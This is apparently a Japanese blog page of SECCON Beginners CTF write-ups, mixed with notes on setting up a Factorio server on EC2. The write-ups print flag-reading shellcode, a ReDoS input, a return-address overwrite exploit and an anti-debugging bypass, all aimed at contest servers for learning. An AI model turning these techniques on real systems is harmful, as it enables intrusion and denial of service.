Webアプリで Intel記法のアセンブリを実行できるツール。Challenge 1~Challenge 4まで問題があって、Challenge 4 まで解くとフラグをもらえる。

Challenge 1
Challenge 1. Please write 0x123 to RAX! RAX に 0x123 をMOV するだけ
Challenge 2
Challenge 2. Please write 0x123 to RAX and push it on stack! Challenge 1 にプラスして、Push RAX するだけ
Challenge 3
Challenge 3. Please use syscall to print Hello on stdout! rax に Hello を用意して push、Syscall で標準出力に Write する
mov rax, 0x6f6c6c6548 # Hello を逆に格納 push rax mov rax, 0x1 # システムコール番号 1 (write) mov rdi, 0x1 # ファイルディスクリプタ 1:標準出力 mov rsi, rsp # 文字列を格納しているバッファのアドレス mov rdx, 5 # 出力する文字数 syscall
Challenge 4
Challenge 4. Please read flag.txt file and print it to stdout!
flag.txt を open して、read して、標準出力に write する
push 0x0 # null文字 mov rax, 0x7478742e67616c66 # flag.txt push rax mov rax, 0x2 # システムコール番号 2 (open) mov rdi, rsp # ファイル名のバッファ mov rsi, 0x0 # 読み取り専用(O_RDONLY) syscall # open mov rbx, rax # ファイルディスクリプタを一時格納 mov rax, 0 # システムコール番号 0 (read) mov rdi, rbx # ファイルディスクリプタ mov rsi, rsp # 読み込みバッファ mov rdx, 0x100 # 読み込む最大バイト数 syscall mov rcx, rax # 読み込んだバイト数を一時格納 mov rax, 1 # システムコール番号 1 (wite) mov rdi, 1 # 標準出力 mov rsi, rsp # 出力するバッファ mov rdx, rcx # 出力するバイト数 syscall
Flag: ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}
cha-ll-enge
cha.ll.nge というテキストファイルが渡される。中身を確認すると LLVM-IR という LLVMの中間コードらしい。 リファレンスやらなんやらを見ながら処理を確認したら、入力文字列としてFlag文字列を入力して、以下の整数配列の要素と XOR して一致すればOKというものだった。
@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16
XOR の処理は、i 番目の入力文字と i 番目の配列要素を XOR して、i+1 番目の配列要素と一致すればOKという流れ。なので印字可能文字で総当たりしてフラグを入手した
ソルバー
k = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85 , 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7] flag = '' i = 0 for i, _k in enumerate(k[:-1]): for x in range(0x20, 0x7f): tmp = x ^ _k if tmp == k[i+1]: flag += chr(x) print(flag)
Flag: ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}
factorio headlessサーバー 構築 覚え書き
factorio (https://factorio.com/) のマルチプレイ用サーバーを構築し直したときの覚え書きです。
サーバー準備@AWS EC2
インスタンス
メモリ1Gだと若干足りないようなので、2Gのt3a.smallで構築。t2.smallよりt3.small、t3a.smallの方が料金安いのね。
イメージはとりあえずUbuntu 20.04。apt update; apt upgrade; 忘れずに
セキュリティグループ設定
以下のインバウンドルールを追加したセキュリティグループで設定
| IPバージョン | タイプ | プロトコル | ポート範囲 | メモ |
|---|---|---|---|---|
| IPv4 | SSH | TCP | 22 | サーバーメンテナンス用 |
| IPv4 | カスタムUDP | UDP | 34297 | factorioサービスの待ち受けポート |
factorio headlessのインストール
factorioの公式サイト (https://factorio.com/) のダウンロードページからLinuxのheadlessの圧縮ファイルをDL (下図1番左のリンク)

バイナリのURLは https://factorio.com/get-download/1.1.53/headless/linux64 で固定みたいなので、EC2インスタンスでWget
# mkdir /opt/factorio-k2 # cd /opt/factorio-k2 # wget -O factorio-1.1.53.tar.xz https://factorio.com/get-download/stable/headless/linux64
ファイルを展開
# tar -Jxvf factorio-1.1.53.tar.xz
サーバーのセッティングを用意。Diffだけ記録
$ diff /opt/factorio-k2/factorio/data/server-settings.example.json server-settings.json 2c2 < "name": "Name of the game as it will appear in the game listing", --- > "name": "<削除>", 13,14c13,14 < "public": true, < "lan": true --- > "public": false, > "lan": false 24c24 < "game_password": "", --- > "game_password": "<削除>", 62c62 < "autosave_only_on_server": true, --- > "autosave_only_on_server": false, 65c65 < "non_blocking_saving": false, --- > "non_blocking_saving": true,
手元のWindowsからセーブファイルをEC2インスタンスにアップロード。/opt/factorio-k2/savesに格納。
(%AppData%\Factorio\saves にある該当のファイルをTeraTermのscpでアップロード)
# / # cat factorio-k2.service [Unit] Description=Factorio Service. https://factorio.com/ After=network-online.target [Service] ExecStart=/opt/factorio-k2/factorio/bin/x64/factorio --server-settings /opt/factorio-k2/server-settings.json --start-server /opt/factorio-k2/saves/save.zip Restart=no Type=simple [Install] WantedBy=multi-user.target # cp factorio-k2.service /lib/systemd/system/ # ln -s /lib/systemd/system/factorio-k2.service /etc/systemd/system/multi-user.target.wants/factorio-k2.service # systemctl enable factorio-k2
mod Krastrio-2 のインストール
Mod Portal(https://mods.factorio.com/) にアクセスして、Krastrio-2のModを入手。
Dependencies で青色に記載されているModに依存しているので、こちらも一緒に入手。今回入れたModは全部で3つ
- Factorio Library
v0.9.2(https://mods.factorio.com/mod/flib) - Krastorio 2 Assets
v1.1.0(https://mods.factorio.com/mod/Krastorio2Assets) - Krastorio 2
v1.2.23(https://mods.factorio.com/mod/Krastorio2)
DLしたZipファイルをまたscpでEC2インスタンスにアップロード。/opt/factorio-k2/factorio/mods/ディレクトリにZipファイルを格納
$ ls /opt/factorio-k2/factorio/mods/ Krastorio2Assets_1.1.0.zip Krastorio2_1.2.23.zip flib_0.9.2.zip
今回はK2を1.1.5からアップデートしたけど、1.2.0からAssetを別に分けたみたいで、依存modとしてmodディレクトリに配置し忘れてた。そのせいでmodの読み込みが最初うまくいかなくて躓いた。エラーも特にでないんので、Modの依存はちゃんと確認。
動作確認
Windowsのクライアントから「マルチプレイ」→「アドレスに接続」でEC2インスタンスのIPアドレスを入力、server-settings.jsonでgame_passwordに設定したパスワードを入力して接続できればOK。
Discord Bot
マルチプレイの仲間で好きな時にEC2インスタンスを起動、停止できるようにボットも作ってみた。こっちはAmazon Lightsailでほそぼそ運用テスト中
SECCON Beginners CTF 2021 write-up
2021/5/22 14:00 - 5/23 14:00 (JST) で開催されたSECCON Beginners CTFに参加したので解けた問題のwrite-upです。チームとしては、whitecatsとして参加して1689pt (85位)でした。Web問はチームメイトにお任せして、Pwnに頭を悩ませながら他の問題を解いてました。
https://score.beginners.azure.noc.seccon.jp/
Crypto
simple_RSA
Let's encrypt it with RSA! 問題のプログラム
from Crypto.Util.number import * from flag import flag flag = bytes_to_long(flag.encode("utf-8")) p = getPrime(1024) q = getPrime(1024) n = p * q e = 3 assert 2046 < n.bit_length() assert 375 == flag.bit_length() print("n =", n) print("e =", e) print("c =", pow(flag, e, n))
eが小さいので、「RSA e 小さい」でGoogle検索してでてきたブログ(ももいろテクノロジー:plain RSAに対する攻撃手法を実装してみる)を参考にソルバー作成。
import sys import gmpy from Crypto.Util.number import * def root_e(c, e, n): bound = gmpy.root(n, e)[0] m = gmpy.root(c, e)[0] return m, bound if __name__ == '__main__': n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283 e = 3 c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613 m, bound = root_e(c, e, n) print("%d (possible solution under %d)" % (m, bound)) print(long_to_bytes(m))
Flag: ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}
Logical_SEESAW
We have an innovative seesaw!
問題のプログラム
from Crypto.Util.number import * from random import random, getrandbits from flag import flag flag = bytes_to_long(flag.encode("utf-8")) length = flag.bit_length() key = getrandbits(length) while not length == key.bit_length(): key = getrandbits(length) flag = list(bin(flag)[2:]) key = list(bin(key)[2:]) cipher_L = [] for _ in range(16): cipher = flag[:] m = 0.5 for i in range(length): n = random() if n > m: cipher[i] = str(eval(cipher[i] + "&" + key[i])) cipher_L.append("".join(cipher)) print("cipher =", cipher_L)
フラグと同じbit数の鍵が用意され、1/2の確率でフラグと&演算される。&演算なので、元々0のbitは変化しない。あとは、1のbitを調整すればOK。暗号化されたbit文字列を16個提供されるので、同じ個所のbitで1になっているものが多ければ、元々1だっただろうとあたりをつけるソルバーを作った。
from Crypto.Util.number import * from output import cipher #with open('output.txt', 'r') as f: # cipher = readline() # m 0 1 # -------- # k 0 0 0 0.5 # 1 0 1 # - 0 1 0.5 print(cipher) length = len(cipher[0]) ans = b'' for i in range(length): cnt = 0 for j in range(16): cnt += int(cipher[j][i]) if cnt == 0: ans += b'0' else: if cnt / 16 > 0.3: ans += b'1' else: ans += b'0' print(ans) print(long_to_bytes(int(ans, 2)))
Flag: ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}
Rev
only_read
バイナリ読めなきゃやばいなり〜
disasemmble すると、main関数で文字列を1文字1文字比較する処理がある。比較している値を順番につなげるだけ。
11e4: 3c 63 cmp al,0x63
11e6: 0f 85 da 00 00 00 jne 12c6 <main+0x13d>
11ec: 0f b6 45 e1 movzx eax,BYTE PTR [rbp-0x1f]
11f0: 3c 74 cmp al,0x74
11f2: 0f 85 ce 00 00 00 jne 12c6 <main+0x13d>
11f8: 0f b6 45 e2 movzx eax,BYTE PTR [rbp-0x1e]
11fc: 3c 66 cmp al,0x66
11fe: 0f 85 c2 00 00 00 jne 12c6 <main+0x13d>
1204: 0f b6 45 e3 movzx eax,BYTE PTR [rbp-0x1d]
1208: 3c 34 cmp al,0x34
120a: 0f 85 b6 00 00 00 jne 12c6 <main+0x13d>
1210: 0f b6 45 e4 movzx eax,BYTE PTR [rbp-0x1c]
1214: 3c 62 cmp al,0x62
1216: 0f 85 aa 00 00 00 jne 12c6 <main+0x13d>
121c: 0f b6 45 e5 movzx eax,BYTE PTR [rbp-0x1b]
1220: 3c 7b cmp al,0x7b
1222: 0f 85 9e 00 00 00 jne 12c6 <main+0x13d>
1228: 0f b6 45 e6 movzx eax,BYTE PTR [rbp-0x1a]
122c: 3c 63 cmp al,0x63
122e: 0f 85 92 00 00 00 jne 12c6 <main+0x13d>
1234: 0f b6 45 e7 movzx eax,BYTE PTR [rbp-0x19]
1238: 3c 30 cmp al,0x30
123a: 0f 85 86 00 00 00 jne 12c6 <main+0x13d>
1240: 0f b6 45 e8 movzx eax,BYTE PTR [rbp-0x18]
1244: 3c 6e cmp al,0x6e
1246: 75 7e jne 12c6 <main+0x13d>
1248: 0f b6 45 e9 movzx eax,BYTE PTR [rbp-0x17]
124c: 3c 35 cmp al,0x35
124e: 75 76 jne 12c6 <main+0x13d>
1250: 0f b6 45 ea movzx eax,BYTE PTR [rbp-0x16]
1254: 3c 74 cmp al,0x74
1256: 75 6e jne 12c6 <main+0x13d>
1258: 0f b6 45 eb movzx eax,BYTE PTR [rbp-0x15]
125c: 3c 34 cmp al,0x34
125e: 75 66 jne 12c6 <main+0x13d>
1260: 0f b6 45 ec movzx eax,BYTE PTR [rbp-0x14]
1264: 3c 6e cmp al,0x6e
1266: 75 5e jne 12c6 <main+0x13d>
1268: 0f b6 45 ed movzx eax,BYTE PTR [rbp-0x13]
126c: 3c 74 cmp al,0x74
126e: 75 56 jne 12c6 <main+0x13d>
1270: 0f b6 45 ee movzx eax,BYTE PTR [rbp-0x12]
1274: 3c 5f cmp al,0x5f
1276: 75 4e jne 12c6 <main+0x13d>
1278: 0f b6 45 ef movzx eax,BYTE PTR [rbp-0x11]
127c: 3c 66 cmp al,0x66
127e: 75 46 jne 12c6 <main+0x13d>
1280: 0f b6 45 f0 movzx eax,BYTE PTR [rbp-0x10]
1284: 3c 30 cmp al,0x30
1286: 75 3e jne 12c6 <main+0x13d>
1288: 0f b6 45 f1 movzx eax,BYTE PTR [rbp-0xf]
128c: 3c 6c cmp al,0x6c
128e: 75 36 jne 12c6 <main+0x13d>
1290: 0f b6 45 f2 movzx eax,BYTE PTR [rbp-0xe]
1294: 3c 64 cmp al,0x64
1296: 75 2e jne 12c6 <main+0x13d>
1298: 0f b6 45 f3 movzx eax,BYTE PTR [rbp-0xd]
129c: 3c 31 cmp al,0x31
129e: 75 26 jne 12c6 <main+0x13d>
12a0: 0f b6 45 f4 movzx eax,BYTE PTR [rbp-0xc]
12a4: 3c 6e cmp al,0x6e
12a6: 75 1e jne 12c6 <main+0x13d>
12a8: 0f b6 45 f5 movzx eax,BYTE PTR [rbp-0xb]
12ac: 3c 67 cmp al,0x67
12ae: 75 16 jne 12c6 <main+0x13d>
12b0: 0f b6 45 f6 movzx eax,BYTE PTR [rbp-0xa]
12b4: 3c 7d cmp al,0x7d
>>> '\x63\x74\x66\x34\x62\x7b\x63\x30\x6e\x35\x74\x34\x6e\x74\x5f\x66\x30\x6c\x64\x31\x6e\x67\x7d' 'ctf4b{c0n5t4nt_f0ld1ng}'
Flag: ctf4b{c0n5t4nt_f0ld1ng}
children
これから10個の子プロセスを作るよ。 彼らの情報を正しく答えられたら、FLAGをあげるね。 ちなみに、子プロセスは追加の子プロセスを生む可能性があるから注意してね。
実行すると次々と生成される子プロセスのプロセスIDをきかれるので、逐一回答する。最後に作成した子プロセスの数を答える。
$ strace ./children
execve("./children", ["./children"], 0x7ffe90cbec50 /* 20 vars */) = 0
brk(NULL) = 0x55a0bf9bf000
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffea6df9f00) = -1 EINVAL (Invalid argument)
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=31138, ...}) = 0
mmap(NULL, 31138, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f4de6381000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\360q\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\t\233\222%\274\260\320\31\331\326\10\204\276X>\263"..., 68, 880) = 68
fstat(3, {st_mode=S_IFREG|0755, st_size=2029224, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f4de637f000
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\t\233\222%\274\260\320\31\331\326\10\204\276X>\263"..., 68, 880) = 68
mmap(NULL, 2036952, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f4de618d000
mprotect(0x7f4de61b2000, 1847296, PROT_NONE) = 0
mmap(0x7f4de61b2000, 1540096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x25000) = 0x7f4de61b2000
mmap(0x7f4de632a000, 303104, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19d000) = 0x7f4de632a000
mmap(0x7f4de6375000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f4de6375000
mmap(0x7f4de637b000, 13528, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f4de637b000
close(3) = 0
arch_prctl(ARCH_SET_FS, 0x7f4de6380540) = 0
mprotect(0x7f4de6375000, 12288, PROT_READ) = 0
mprotect(0x55a0be1ac000, 4096, PROT_READ) = 0
mprotect(0x7f4de63b6000, 4096, PROT_READ) = 0
munmap(0x7f4de6381000, 31138) = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0
brk(NULL) = 0x55a0bf9bf000
brk(0x55a0bf9e0000) = 0x55a0bf9e0000
write(1, "I will generate 10 child process"..., 36I will generate 10 child processes.
) = 36
write(1, "They also might generate additio"..., 51They also might generate additional child process.
) = 51
write(1, "Please tell me each process id i"..., 58Please tell me each process id in order to identify them!
) = 58
write(1, "\n", 1
) = 1
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12696
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12696, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0
read(0, 12696
"12696\n", 1024) = 6
write(1, "ok\n", 3ok
) = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12697
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = ? ERESTARTNOINTR (To be restarted)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12697, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12698
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12698, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12698
"12698\n", 1024) = 6
write(1, "ok\n", 3ok
) = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12699
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = ? ERESTARTNOINTR (To be restarted)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12699, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12700
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12700, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12700
"12700\n", 1024) = 6
write(1, "ok\n", 3ok
) = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12701
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12701, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12701
"12701\n", 1024) = 6
write(1, "ok\n", 3ok
) = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12702
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12702, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12702
"12702\n", 1024) = 6
write(1, "ok\n", 3ok
) = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12703
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12703, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12703
"12703\n", 1024) = 6
write(1, "ok\n", 3ok
) = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12704
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12704, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12704
"12704\n", 1024) = 6
write(1, "ok\n", 3ok
) = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12705
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12706
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12705, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12706, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12706
"12706\n", 1024) = 6
write(1, "ok\n", 3ok
) = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12707
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12707, si_uid=1000, si_status=1, si_utime=0, si_stime=0} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12707
"12707\n", 1024) = 6
write(1, "ok\n", 3ok
) = 3
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f4de6380810) = 12708
write(1, "Please give me my child pid!\n", 29) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=12708, si_uid=1000, si_status=1, si_utime=0, si_stime=1} ---
write(1, "Please give me my child pid!\n", 29Please give me my child pid!
) = 29
read(0, 12708
"12708\n", 1024) = 6
write(1, "ok\n", 3ok
) = 3
wait4(-1, NULL, 0, NULL) = 12696
write(1, "How many children were born?\n", 29How many children were born?
) = 29
read(0, 13
"13\n", 1024) = 3
write(1, "ctf4b{p0werfu1_tr4sing_t0015_15_"..., 40ctf4b{p0werfu1_tr4sing_t0015_15_usefu1} ) = 40
lseek(0, -1, SEEK_CUR) = -1 ESPIPE (Illegal seek)
exit_group(0) = ?
+++ exited with 0 +++
手始めにstraceで挙動を見ながら動かして回答してたら最後まで正解できたので、フラグゲット。
Flag: ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}
please_not_trace_me
フラグを復号してくれるのは良いけど,表示してくれない!!
ptraceが2回呼ばれているけど、1回目はreturn -1、2回目はreturn 0してあげれば、チェック処理は終了する。gdbで実行して、ptraceにbreakpointを設定し、呼ばれたところでreturn -1とかしてあげればOK。フラグのdecrypt処理が進み、rc4で復号された文字をメモリ上から読んで終了。
Flag: ctf4b{d1d_y0u_d3crypt_rc4?}
Misc
Mail_Address_Validator
あなたのメールアドレスが正しいか調べます.
nc mail-address-validator.quals.beginners.seccon.jp 5100
#!/usr/bin/env ruby require 'timeout' $stdout.sync = true $stdin.sync = true pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i begin Timeout.timeout(60) { Process.wait Process.fork { puts "I check your mail address." puts "please puts your mail address." input = gets.chomp begin Timeout.timeout(5) { if input =~ pattern puts "Valid mail address!" else puts "Invalid mail address!" end } rescue Timeout::Error exit(status=14) end } case Process.last_status.to_i >> 8 when 0 then puts "bye." when 1 then puts "bye." when 14 then File.open("flag.txt", "r") do |f| puts f.read end else puts "What's happen?" end } rescue Timeout::Error puts "bye." end
最近よく聞くReDoSやぁと思いながら、Google検索。参考になりそうなサイトを見つけて、確認用の文字列そのまま使わせてもらった。(yohgaki's blog: 正規表現でのメールアドレスチェックは見直すべき – ReDoS)
>>> a = "secconbeginner@host"+".abcde"*10 >>> a 'secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde' >>> a + "." 'secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.'
$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
Flag: ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
Pwn
rewriter
任意のアドレスの値を書き換えたい時,ありますよね?
nc rewriter.quals.beginners.seccon.jp 4103
コード抜粋
void win() { execve("/bin/cat", (char*[3]){"/bin/cat", "flag.txt", NULL}, NULL); } int main() { unsigned long target = 0, value = 0; char buf[BUFF_SIZE] = {0}; show_stack(buf); printf("Where would you like to rewrite it?\n> "); buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0; target = strtol(buf, NULL, 0); printf("0x%016lx = ", target); buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0; value = strtol(buf, NULL, 0); *(long*)target = value; }
*(long*)target = value; ここで標準入力で指定したアドレスに指定の値を代入してくれる。win関数のアドレスが0x04011f6 なのでret addrをwin関数のアドレスで上書きしてもらう。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
$ nc rewriter.quals.beginners.seccon.jp 4103
[Addr] |[Value]
====================+===================
0x00007ffef60d8e90 | 0x0000000000000000 <- buf
0x00007ffef60d8e98 | 0x0000000000000000
0x00007ffef60d8ea0 | 0x0000000000000000
0x00007ffef60d8ea8 | 0x0000000000000000
0x00007ffef60d8eb0 | 0x0000000000000000 <- target
0x00007ffef60d8eb8 | 0x0000000000000000 <- value
0x00007ffef60d8ec0 | 0x0000000000401520 <- saved rbp
0x00007ffef60d8ec8 | 0x00007f58721f6bf7 <- saved ret addr
0x00007ffef60d8ed0 | 0x0000000000000001
0x00007ffef60d8ed8 | 0x00007ffef60d8fa8
Where would you like to rewrite it?
> 140733026504392
0x00007ffef60d8ec8 = 4198902
[Addr] |[Value]
====================+===================
0x00007ffef60d8e90 | 0x0a32303938393134 <- buf
0x00007ffef60d8e98 | 0x0a32393334303500
0x00007ffef60d8ea0 | 0x0000000000000000
0x00007ffef60d8ea8 | 0x0000000000000000
0x00007ffef60d8eb0 | 0x00000000004011f6 <- target
0x00007ffef60d8eb8 | 0x00007ffef60d8ec8 <- value
0x00007ffef60d8ec0 | 0x0000000000401520 <- saved rbp
0x00007ffef60d8ec8 | 0x00000000004011f6 <- saved ret addr
0x00007ffef60d8ed0 | 0x0000000000000001
0x00007ffef60d8ed8 | 0x00007ffef60d8fa8
ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
Flag: ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
beginners_rop
Do you like programming?
Did you know Return Oriented Programming?
nc beginners-rop.quals.beginners.seccon.jp 4102
コード抜粋
#include <stdio.h> #include <unistd.h> char *gets(char *s); int main() { char str[0x100]; gets(str); puts(str); } __attribute__((constructor)) void setup() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); }
getsで標準入力から入力を受け付けるのでバッファオバーフローのバグがある。タイトルどおりROPを頑張るだけ。
